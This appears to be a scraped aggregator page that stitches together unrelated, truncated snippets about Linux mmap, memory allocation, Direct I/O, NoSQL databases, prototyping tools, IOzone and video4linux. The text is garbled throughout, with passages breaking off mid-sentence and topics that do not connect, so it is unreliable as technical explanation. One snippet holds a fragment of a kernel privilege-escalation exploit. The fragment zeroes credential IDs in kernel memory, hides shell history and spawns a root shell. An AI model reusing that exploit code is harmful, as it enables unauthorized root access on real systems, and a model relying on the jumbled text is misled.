mmap mindmap

After the foreshadowing of the previous article seems to be very easy to use the assembly to write mmap code, you can look carefully, or there are a number of problems need to be resolved:1. System call Mmap If an error does not directly return map_failed (-1), but rather a "similar" value, the C library's mmap function wraps it so that it eventually returns-1; i

Part I: The MMAP system call directly maps the device memory to the address space of the user process.Part II: Direct access to memory pages of user space across borders. Some related drivers require this capability (how user-space memory maps to the kernel method get_user_pages)Part III: Direct Memory access (DMA) I/O operations enable peripherals to have direct access to the system's memory capacity.Memory Management for LinuxAddress TypeLinux is a

Label:Most of the content of this article is not original, reproduced will be affixed with links. Prepare to learn the database, to the current mainstream database to do a simple understanding of the analysis, the collection of data collated to a piece. The current mainstream is to count NoSQL databases, with powerful high concurrency capabilities. Mongodb: It's an in-memory database, and the data is in memory. The operation of the data is mostly in memory, but MongoDB is not a pure memory datab

indeterminate. A large number of related questions can be found on the StackOverflow. You can search by yourself. Like this: Linux Allocator Does not Release Small Chunks of Memory malloc ()/free (), mmap (), BRK (), and the relationship between the user program-->GLIBC-->linux kernel malloc ()/free ( ) is the two very basic functions of the C language responsible for memory allocation/deallocation . However, as a C stan

If an application can directly access network interface storage, the storage bus does not need to be traversed before the application accesses data. The overhead caused by data transmission is minimal. The database functions run by applications or users in user mode can directly access the storage of hardware devices. In addition to necessary virtual storage configuration, the operating system kernel, do not participate in anything else during data transmission. Direct I/O allows data to be tran

identifier. The job address space of the segment is two-dimensional, when the programmer identifies an address, it needs to give both the segment name and the address in the paragraph.3.3 malloc What is the case when calling Mmap?From the operating system's point of view, the process allocates memory in two ways, which are done by two system calls: Brk/mmap (regardless of shared memory). BRK is to push the

maps (MINDMAP) and wireframe (Wire frames). [Recommended index: ★★★★☆] Iplotz : is based on the Flash/flex platform product prototype design software, allows you to directly drag the various components through the mouse to the canvas to build their own Web project, in addition, Iplotz also provides the Adobe air based client software, This allows users to use the software on different platforms such as Windows, Mac OS x, and Linux. [Recommended ind

IOzone is a file System test baseline tool. You can test the read and write performance of file systems in different operating systems. Can be via write, re-write, read, re-read, Random read, random write, random mix, backwards read, record Rewirte, strided read, Fwrite, Frewrite, Fread, Freread, mmap, async i/0 The performance of the hard drive in different modes.When testing, please note that the size of the test file must be larger than your memory

Direct I/O in LinuxIf an application can directly access network interface storage, the storage bus does not need to be traversed before the application accesses data. The overhead caused by data transmission is minimal. Applications or database functions running in user mode can directly access the storage of hardware devices. In addition to necessary virtual storage configuration, the operating system kernel, do not participate in anything else during data transmission. Direct I/O allows data

1. What is video4linux? Video4linux (v4l for short) is the kernel driver for video devices in Linux. Currently, video4linux2 has been added to the Linux kernel. You need to download the patch yourself. In Linux, a video device is a device file that can be read and written as a normal file. The camera is under/dev/video0. 2. Video programming process in video4linux(1) Enable the video device:(2) reading device information(3) change the current device settings (if not necessary)(4) video collectio

] = = GID P[6] = = GID p[7] = = GID) {P[0] = p[1] = p[2] = p[3] = 0;P[4] = p[5] = p[6] = p[7] = 0;p = (UINT *) ((char *) (P + 8) + sizeof (void *));P[0] = p[1] = p[2] = ~0;Break}p++;}Exit_kernel ();}void Exit_code (){if (Getuid ()! = 0)Die ("WTF", 0);printf ("[+] root\n");Putenv ("Histfile=/dev/null");Execl ("/bin/bash", "Bash", "-i", NULL);Die ("/bin/bash", errno);}int main (int argc, char *argv[]){int pi[2];size_t Map_size;char * MAP_ADDR;struct Iovec Iov;struct page * pages[5];UID = Getuid (

"copyright notice: respect for the original, reproduced please retain the source: blog.csdn.net/shallnet. The article is for academic communication only and should not be used for commercial purposes " the memory image of a process consists of the following parts: code snippet, data segment, BSS segmentand Stack segments. And the area of the memory map,memory-mapped function mmap (), which is responsible for mapping the contents of the file to the vir